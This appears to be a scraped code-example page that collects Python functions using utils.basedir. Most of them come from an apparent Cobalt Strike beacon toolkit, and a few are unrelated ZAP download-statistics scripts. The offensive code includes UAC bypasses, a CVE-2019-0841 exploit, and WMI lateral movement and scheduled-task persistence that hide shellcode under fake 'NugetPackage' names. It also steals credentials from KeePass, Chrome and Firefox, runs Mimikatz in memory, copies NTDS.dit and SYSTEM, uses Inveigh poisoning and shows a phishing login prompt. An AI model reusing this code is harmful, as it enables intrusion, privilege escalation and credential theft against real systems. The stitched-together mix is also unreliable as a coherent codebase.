Exemple #1
0
def elevate_token_shellcode_csharp(bid, shellcode):
    """
    Elevate with token duplication bypass. Execute `shellcode` with a C# helper.
    """

    aggressor.bpowershell_import(
        bid, utils.basedir('modules/FilelessUACBypass.ps1'))

    execute_shellcode = utils.basedir('tools/execute_shellcode.exe')
    execute_assembly = utils.basedir('tools/execute_assembly.exe')
    stage1 = r'{}\NugetPackage.exe'.format(helpers.guess_temp(bid))
    #stage2 = r'{}\nuget_update.package'.format(helpers.guess_temp(bid))
    stage2 = r'{}\Stage2.exe'.format(helpers.guess_temp(bid))
    package = r'{}\nuget.package'.format(helpers.guess_temp(bid))

    helpers.upload_to(bid, execute_assembly, stage1)
    helpers.upload_to(bid, execute_shellcode, stage2)
    helpers.upload_to(bid, shellcode, package)

    command = 'Invoke-TokenDuplication -Binary {}'.format(
        powershell_quote(stage2))
    aggressor.bpowerpick(bid, command)

    aggressor.brm(bid, stage1)
    aggressor.brm(bid, stage2)
    aggressor.brm(bid, package)
Exemple #2
0
def _(bid):
    # KeePassConfig
    aggressor.bpowershell_import(bid,
                                 utils.basedir('powershell/KeePassconfig.ps1'))
    aggressor.bpowerpick(bid, "Find-KeePassconfig")

    # KeeThief
    aggressor.bpowershell_import(bid, utils.basedir('powershell/KeeThief.ps1'))
    aggressor.bpowerpick(bid, "Get-KeePassDatabaseKey -Verbose")
Exemple #3
0
def daily():
    files = sorted(glob.glob(utils.basedir() + 'bitly/raw/*.json'))
    created = set()
    for file in files:
        with open(file) as stats_file:
            stats = json.load(stats_file)
            link = os.path.basename(stats_file.name)[20:-5]
            date_collected = os.path.basename(stats_file.name)[:10]
            #print(stats_file.name + ' ' + link + ' ' + date_collected)
            for lc in stats['link_clicks']:  # TODO these will be duplicated
                date_str = lc['date'][:10]
                # Stats for the day of collection will probably be incomplete
                if not date_str == date_collected:
                    daily_file = utils.basedir(
                    ) + 'bitly/daily/' + date_str + '.csv'
                    if not os.path.exists(daily_file):
                        with open(daily_file, "a") as f:
                            f.write('date,link,clicks\n')
                        created.add(date_str)
                        print('Created ' + daily_file)
                    if date_str in created:
                        with open(daily_file, "a") as f:
                            f.write(date_str + ',' + link + ',' +
                                    str(lc['clicks']) + '\n')

    # The raw stats contain duplicate days so its easier to work out the monthly stats from the daily ones
    today = datetime.date.today()
    if (today.day > 1):
        first_str = today.replace(day=1).strftime('%Y-%m-%d')
        monthly_file = utils.basedir() + 'bitly/monthly/' + first_str + '.csv'
        if not os.path.exists(monthly_file):
            monthly_totals = {}
            if today.month == 1:
                last_month = today.replace(year=today.year -
                                           1).replace(month=12)
            else:
                last_month = today.replace(month=today.month - 1)
            files = sorted(
                glob.glob(utils.basedir() + 'bitly/daily/' +
                          last_month.strftime('%Y-%m-') + '*.csv'))
            for file in files:
                with open(file) as daily_file:
                    csv_reader = csv.reader(daily_file)
                    # Ignore the header
                    next(csv_reader)
                    for row in csv_reader:
                        link = row[1]
                        clicks = row[2]
                        if not link in monthly_totals:
                            monthly_totals[link] = 0
                        monthly_totals[link] += int(clicks)
            with open(monthly_file, "a") as f:
                f.write('date,link,clicks\n')
                for link in monthly_totals:
                    f.write(utils.today() + ',' + link + "," +
                            str(monthly_totals[link]) + '\n')
            print('Created ' + monthly_file)
Exemple #4
0
def collect():
    headers = {'Authorization': 'Bearer ' + os.getenv('BITLY_TOKEN')}
    for link in links:
        utils.download_to_file(
            bitly_clicks_api.replace('{{LINK}}', link),
            utils.basedir() + "bitly/raw/" + utils.today() + '-' + link +
            ".json", headers)

    for link_cs in links_for_country_stats:
        utils.download_to_file(
            bitly_countries_api.replace('{{LINK}}', link_cs),
            utils.basedir() + "bitly/raw-countries/" + utils.today() + '-' +
            link_cs + ".json", headers)
def daily():
    files = sorted(glob.glob(utils.basedir() + 'docker/raw/*.json'))
    created = set()
    last_monthly_totals = {}
    last_day_totals = {}
    monthly_files_to_write = set()
    for file in files:
        with open(file) as stats_file:
            stats = json.load(stats_file)
            link = os.path.basename(stats_file.name)[20:-5]
            date_str = os.path.basename(stats_file.name)[:10]
            image = stats['name']
            total = stats['pull_count']

            is_monthly = date_str.endswith(
                '-01'
            ) or date_str == '2021-08-02'  # No stats for 2021-08-01 :/
            if is_monthly:
                if image in last_monthly_totals:
                    monthly_file = utils.basedir(
                    ) + 'docker/monthly/' + date_str + '.csv'
                    if not os.path.exists(monthly_file):
                        with open(monthly_file, "a") as f:
                            f.write('date,image,total,increase,stars\n')
                            monthly_files_to_write.add(date_str)
                            print('Created ' + monthly_file)
                    if date_str in monthly_files_to_write:
                        with open(monthly_file, "a") as f:
                            f.write(date_str + ',' + image + ',' + str(total) +
                                    ',' +
                                    str(total - last_monthly_totals[image]) +
                                    ',' + str(stats['star_count']) + "\n")
                last_monthly_totals[image] = total

            if image in last_day_totals:
                daily_file = utils.basedir(
                ) + 'docker/daily/' + date_str + '.csv'
                if not os.path.exists(daily_file):
                    with open(daily_file, "a") as f:
                        f.write('date,image,total,increase,stars\n')
                    created.add(date_str)
                    print('Created ' + daily_file)
                if date_str in created:
                    with open(daily_file, "a") as f:
                        f.write(date_str + ',' + image + ',' + str(total) +
                                ',' + str(total - last_day_totals[image]) +
                                ',' + str(stats['star_count']) + "\n")
            last_day_totals[image] = total
Exemple #6
0
def import_domain_recon(bid):
    """
    Import DomainRecon.ps1
    """

    aggressor.bpowershell_import(bid,
                                 utils.basedir('powershell/DomainRecon.ps1'))
Exemple #7
0
def run_sharpview(bid, command):
    """
    Run SharpView
    """

    sharpview = utils.basedir('tools/SharpView.exe')
    aggressor.bexecute_assembly(bid, sharpview, command)
Exemple #8
0
def lateral_wmi_shellcode(bid, host, shellcode, user=None, password=None):
    native_helper = utils.basedir('tools/native.exe')

    temp_relative = 'WINDOWS'
    temp_remote = r'\\{}\C$\{}'.format(host, temp_relative)
    temp_local = r'C:\{}'.format(temp_relative)

    native_helper_relative = 'NugetPackage.{}.exe'.format(helpers.randstr())
    native_helper_remote = r'{}\{}'.format(temp_remote, native_helper_relative)
    native_helper_local = r'{}\{}'.format(temp_local, native_helper_relative)

    shellcode_relative = r'nuget.{}.package'.format(helpers.randstr())
    shellcode_remote = r'{}\{}'.format(temp_remote, shellcode_relative)
    shellcode_local = r'{}\{}'.format(temp_local, shellcode_relative)

    # upload
    helpers.upload_to(bid, native_helper, native_helper_remote, silent=True)
    helpers.upload_to(bid, shellcode, shellcode_remote, silent=True)

    # call it
    remote_command = '{} {}'.format(native_helper_local, shellcode_local)
    # TODO user/pass
    local_command = 'echo "{host}" & wmic /node:"{host}" '.format(host=host)
    if user or password:
        local_command += ' /user:{user} /password:{password} '.format(user=user, password=password)
    local_command += 'process call create "{command}","{cwd}"'.format(host=host, command=remote_command, cwd=temp_local)
    aggressor.bshell(bid, local_command)
Exemple #9
0
def import_network_recon(bid):
    """
    Import NetworkRecon.ps1
    """

    aggressor.bpowershell_import(bid,
                                 utils.basedir('powershell/NetworkRecon.ps1'))
Exemple #10
0
def _(bid, runtime=99999, *args):
    aggressor.bpowershell_import(
        bid, utils.basedir('powershell/Inveigh/Inveigh.ps1'))
    aggressor.bpowerpick(
        bid,
        "Invoke-Inveigh -ConsoleOutput N -RunTime {} -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y {}"
        .format(runtime, ' '.join(args)))
Exemple #11
0
def elevate_runas_shellcode(bid, user, password, shellcode):
    """
    Elevate with token duplication bypass. Execute `shellcode` with a helper.
    """

    native_helper = utils.basedir('tools/native.exe')
    native_helper_remote = r'{}\NugetPackage.{}.exe'.format(
        helpers.guess_temp(bid), helpers.randstr())
    shellcode_remote = r'{}\nuget2.package'.format(helpers.guess_temp(bid))

    # delete first
    aggressor.brm(bid, native_helper_remote, silent=True)
    aggressor.brm(bid, shellcode_remote, silent=True)

    aggressor.blog2(
        bid, 'uploading to {} and {}'.format(native_helper_remote,
                                             shellcode_remote))

    # upload
    helpers.upload_to(bid, native_helper, native_helper_remote, silent=True)
    helpers.upload_to(bid, shellcode, shellcode_remote, silent=True)

    if '\\' in user:
        domain, user = user.split('\\')
    else:
        raise RuntimeError('must specify user domain')

    # invoke
    aggressor.brunas(bid, domain, user, password, native_helper_remote)

    # clean up
    aggressor.brm(bid, native_helper_remote, silent=True)
    aggressor.brm(bid, shellcode_remote, silent=True)
Exemple #12
0
def elevate_shellcode_helper(bid, shellcode, function):
    """
    Execute `shellcode` with a helper using <function> -Binary helper.exe -Arguments <shellcode>
    """

    native_helper = utils.basedir('tools/native.exe')
    native_helper_remote = r'{}\NugetPackage.exe'.format(
        helpers.guess_temp(bid))
    shellcode_remote = r'{}\nuget.package'.format(helpers.guess_temp(bid))

    # delete first
    aggressor.brm(bid, native_helper_remote, silent=True)
    aggressor.brm(bid, shellcode_remote, silent=True)

    # upload
    helpers.upload_to(bid, native_helper, native_helper_remote, silent=True)
    helpers.upload_to(bid, shellcode, shellcode_remote, silent=True)

    # invoke
    command = '{} {}'.format(native_helper_remote, shellcode_remote)
    function(bid, command)

    # clean up
    aggressor.brm(bid, native_helper_remote, silent=True)
    aggressor.brm(bid, shellcode_remote, silent=True)
Exemple #13
0
def website():
    files = sorted(glob.glob(utils.basedir() + 'downloads/monthly/*.csv'))
    outfile = utils.websitedir() + 'site/data/charts/downloads.json'
    if not os.path.isfile(outfile):
        print('No existing file: ' + outfile)
        return

    versions = []
    map = {}

    for file in files:
        with open(file) as monthly_file:
            csv_reader = csv.reader(monthly_file)
            # Ignore the header
            next(csv_reader)
            for row in csv_reader:
                # Monthly stats tend to get recorded as the 2nd even though they really apply to the previous month
                date = row[0][:-2] + '01"'
                version = row[1]
                if len(row) > 3:
                    downloads = row[3]
                else:
                    downloads = row[2]
                if not version in versions:
                    versions.append(version)
                if not date in map:
                    map[date] = {}
                map[date][version] = downloads

    with open(outfile, 'w') as f:
        print('{', file=f)
        print('  "title": "Direct Downloads",', file=f)
        print(
            '  "description": "Direct downloads since v2.4.3. It is worth noting that downloads have reduced since the Docker images have become more popular.",',
            file=f)
        print('  "columns": ["Version" ', end='', file=f)
        for l in versions:
            print(', "' + l + '"', end='', file=f)
        print('],', file=f)
        print('  "data": [', end='', file=f)

        first = True
        for date in sorted(map.keys()):
            if not first:
                print(',', end='', file=f)
            else:
                first = False
            print('\n    ["' + date, end='', file=f)
            for l in versions:
                if l in map[date] and len(map[date][l]) > 0:
                    print(', ' + map[date][l], end='', file=f)
                else:
                    print(', 0', end='', file=f)
            print(', ""]', end='', file=f)

        print('\n  ]', file=f)
        print('}', file=f)

    print('Updated: ' + outfile)
Exemple #14
0
def _(bid):
    global _uploaded

    temp = helpers.guess_temp(bid)
    dest = r'{}\7za.exe'.format(temp)
    helpers.upload_to(bid, utils.basedir('tools/7za.exe'), dest)
    helpers.explorer_stomp(bid, '7za.exe')
    _uploaded = dest
Exemple #15
0
def website():
    files = sorted(glob.glob(utils.basedir() + 'groups/monthly/*.csv'))
    outfile = utils.websitedir() + 'site/data/charts/user-group.json'
    if not os.path.isfile(outfile):
        print('No existing file: ' + outfile)
        return

    map = {}
    stats = ['messages', 'threads']
    '''
    All files have format: date,name,messages,threads
    '''

    for file in files:
        with open(file) as monthly_file:
            csv_reader = csv.reader(monthly_file)
            # Ignore the header
            next(csv_reader)
            for row in csv_reader:
                if len(row) > 0:
                    date = row[0]
                    name = row[1]
                    if name == 'zaproxy-users':
                        messages = row[2]
                        threads = row[3]
                        if not date in map:
                            map[date] = {}
                        map[date]['messages'] = messages
                        map[date]['threads'] = threads

    with open(outfile, 'w') as f:
        print('{', file=f)
        print('  "title": "User Group",', file=f)
        print(
            '  "description": "Messages and threads since the group was created.",',
            file=f)
        print('  "columns": ["Date" , "Messages", "Threads"],', file=f)
        print('  "data": [', end='', file=f)

        first = True
        for date in sorted(map.keys()):
            if not first:
                print(',', end='', file=f)
            else:
                first = False
            # Monthly stats tend to get recorded as the 2nd even though they really apply to the previous month
            print('\n    ["' + date[:-2] + '01"', end='', file=f)
            for l in stats:
                if l in map[date] and len(map[date][l]) > 0:
                    print(', ' + map[date][l], end='', file=f)
                else:
                    print(', 0', end='', file=f)
            print(', ""]', end='', file=f)

        print('\n  ]', file=f)
        print('}', file=f)

    print('Updated: ' + outfile)
Exemple #16
0
def elevate_slui_command(bid, command):
    """
    Elevate with slui bypass.
    """

    aggressor.bpowershell_import(
        bid, utils.basedir('modules/FilelessUACBypass.ps1'))
    aggressor.bpowerpick(
        bid, 'Invoke-SluiBypass -Command {}'.format(powershell_quote(command)))
Exemple #17
0
def _(bid):
    #temp = r'{}\AppData\Local'.format(helpers.guess_home(bid))
    temp = r'{}'.format(helpers.guess_home(bid))
    out_file = r'{}\c'.format(temp)
    dest = r'{}\temp.exe'.format(temp)
    helpers.upload_to(bid, utils.basedir('tools/chrome-passwords.exe'), dest)
    aggressor.bshell(
        bid,
        r'{} > {} & echo "Chrome credentials ready at {}. Run grab-chrome-next"'
        .format(cmd_quote(dest), cmd_quote(out_file), out_file))
Exemple #18
0
def _(bid, out=None):
    aggressor.bpowershell_import(bid, utils.basedir('powershell/UserSPN.ps1'))

    command = 'Get-AccountSPNs'

    if out:
        # output to file
        command += ' > {}'.format(powershell_quote(out))

    aggressor.bpowerpick(bid, command)
Exemple #19
0
def elevate_wscript_command(bid, command):
    """
    Elevate with wscript bypass.
    """

    aggressor.bpowershell_import(
        bid, utils.basedir('modules/Invoke-WScriptBypassUAC.ps1'))
    aggressor.bpowerpick(
        bid, 'Invoke-WScriptBypassUAC -payload {}'.format(
            powershell_quote(command)))
Exemple #20
0
def elevate_eventvwr_command(bid, command):
    """
    Elevate with eventvwr bypass.
    """

    aggressor.bpowershell_import(
        bid, utils.basedir('modules/Invoke-EventVwrBypass.ps1'))
    aggressor.bpowerpick(
        bid,
        'Invoke-EventVwrBypass -Command {}'.format(powershell_quote(command)))
Exemple #21
0
def elevate_cve_2019_0841(bid, target, overwrite=None):
    r"""
    Elevate with CVE-2019-0841. Change permissions of 'target'. Optionally
    overwrite 'target' with 'overwrite'.

    Good overwrite options:
      - C:\Program Files\LAPS\CSE\AdmPwd.dll (then run gpupdate)
      - C:\Program Files (x86)\Google\Update\1.3.34.7\psmachine.dll (then wait for google update or run it manually)
    """

    native_hardlink_ps1 = utils.basedir('powershell/Native-HardLink.ps1')
    edge_dir = r'$env:localappdata\Packages\Microsoft.MicrosoftEdge_*'
    settings_dat = r'\Settings\settings.dat'

    command = helpers.code_string(r"""
        # Stop Edge
        echo "[.] Stopping Edge"
        $process = Get-Process -Name MicrosoftEdge 2>$null
        if ($process) {{
            $process | Stop-Process
        }}
        sleep 3
        
        # Hardlink
        $edge_dir = Resolve-Path {edge_dir}
        $settings_dat = $edge_dir.Path + '{settings_dat}'
        echo "[.] Making Hardlink from $settings_dat to {target}"
        rm $settings_dat
        Native-HardLink -Verbose -Link $settings_dat -Target {target}
        
        # Start Edge
        echo "[.] Starting Edge"
        Start Microsoft-Edge:
        sleep 3
        
        # Stop it again
        echo "[.] Stopping Edge"
        $process = Get-Process -Name MicrosoftEdge 2>$null
        if ($process) {{
            $process | Stop-Process
        }}

        echo "[+] All Finished!"
        echo "[.] New ACLs:"
        Get-Acl {target} | Format-List
        """.format(edge_dir=edge_dir,
                   settings_dat=settings_dat,
                   target=powershell_quote(target)))

    aggressor.bpowershell_import(bid, native_hardlink_ps1, silent=True)
    aggressor.bpowerpick(bid, command, silent=True)

    if overwrite:
        helpers.upload_to(bid, overwrite, target)
        helpers.explorer_stomp(bid, target)
Exemple #22
0
def _(bid, runtime=99999, *args):
    aggressor.bpowershell_import(
        bid, utils.basedir('powershell/Inveigh/Inveigh.ps1'))
    aggressor.btask(
        bid,
        'Tasked beacon to run inveigh with output files at %userprofile%\\AppData\\Roaming\\Microsoft'
    )
    aggressor.bpowerpick(
        bid,
        r"Invoke-Inveigh -FileOutput Y -FileOutputDirectory $env:userprofile\AppData\Roaming\Microsoft -RunTime {} -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y {}"
        .format(runtime, ' '.join(args)))
Exemple #23
0
def _(bid, *ranges):
    aggressor.bpowershell_import(
        bid,
        utils.basedir(
            'powershell/PowerSploit/Recon/Invoke-ReverseDnsLookup.ps1'))

    command = ''
    for r in ranges:
        command += 'Invoke-ReverseDnsLookup {}\n'.format(r)

    aggressor.bpowerpick(bid, command)
Exemple #24
0
def _(bid):
    script_file = utils.basedir('powershell/Get-FirefoxPasswords.ps1')
    with open(script_file, 'r') as fp:
        script = fp.read()

    # host it
    cmd = aggressor.beacon_host_script(bid, script)
    #sleep(5)

    # execute in-memory hosted script
    aggressor.bpowerpick(bid, cmd)
Exemple #25
0
def _(bid, shellcode):
    local_helper = utils.basedir('tools/native_persist.exe')

    appdata = helpers.guess_appdata(bid)
    nuget_dir = r'{}\NuGet'.format(appdata)
    remote_helper = r'{}\NugetManager.exe'.format(nuget_dir)
    aggressor.bmkdir(bid, nuget_dir)

    helpers.upload_to(bid, shellcode, r'{}\nuget.package'.format(nuget_dir))
    helpers.upload_to(bid, local_helper, remote_helper)

    aggressor.bshell(
        bid, 'schtasks /create /f /tn NugetUpdate /sc daily /tr {}'.format(
            remote_helper))
Exemple #26
0
def _(bid, command, *args):
    script_file = utils.basedir(
        'powershell/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')
    with open(script_file, 'r') as fp:
        script = fp.read()

    # host it
    cmd = aggressor.beacon_host_script(bid, script)
    time.sleep(10)

    # execute in-memory hosted script
    engine.message(cmd)
    aggressor.bpowerpick(
        bid, cmd + ';\n Invoke-Mimikatz -Command {} {}'.format(
            command, ' '.join(powershell_quote(args))))
Exemple #27
0
def edr_list():
    """
    Get list of EDR products.

    :return: Dictionary with driver name as key and description as value
    """

    edr_file = utils.basedir('resources/edr.txt')

    edrs = {}
    with open(edr_file, 'r') as fp:
        for line in fp:
            driver, name = line.split('\t')
            driver = driver.lower().strip()
            edrs[driver] = name.strip()
    return edrs
Exemple #28
0
def _(bid,
      title='Windows Security',
      message='Please re-enter your user credentials.'):
    aggressor.bpowershell_import(
        bid, utils.basedir('powershell/Invoke-LoginPrompt.ps1'))

    command += helpers.code_string(r"""
	$out = ShowPrompt "{}" "{}"
	if ($out) {{
	    $out
	}} else {{
	    echo "Didn't get the credentials"
	}}
	""".format(title, message))

    # powerpick doesn't work with $host.ui
    aggressor.bpowershell(bid, command, silent=True)
Exemple #29
0
def _(bid):
    ntds_source = r'C:\Windows\ntds\ntds.dit'
    system_source = r'C:\Windows\system32\config\SYSTEM'
    ntds_dest = r'C:\Windows\temp\ntds.dit'
    system_dest = r'C:\Windows\temp\SYSTEM'

    aggressor.bpowershell_import(
        bid,
        utils.basedir(
            'powershell/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1'))

    command = helpers.code_string(r"""
	Invoke-NinjaCopy -Path "{}" -LocalDestination "{}"
	Invoke-NinjaCopy -Path "{}" -LocalDestination "{}"
	""".format(ntds_source, ntds_dest, system_source, system_dest))

    aggressor.bpowerpick(bid, command)
    aggressor.blog2(
        bid, 'Files will be at "{}" and "{}"'.format(ntds_dest, system_dest))
Exemple #30
0
def elevate_token_command(bid, command, *other_args):
    """
    Elevate with token duplication bypass. Execute `command` with `arguments`.
    """

    command, *arguments = command.split()

    aggressor.bpowershell_import(
        bid, utils.basedir('modules/FilelessUACBypass.ps1'))
    powershell = 'Invoke-TokenDuplication -Binary {} '.format(
        powershell_quote(command))

    if arguments:
        powershell += '-Arguments {} '.format(
            powershell_quote(' '.join(arguments)))

    if other_args:
        powershell += ' '.join(other_args)

    aggressor.bpowerpick(bid, powershell)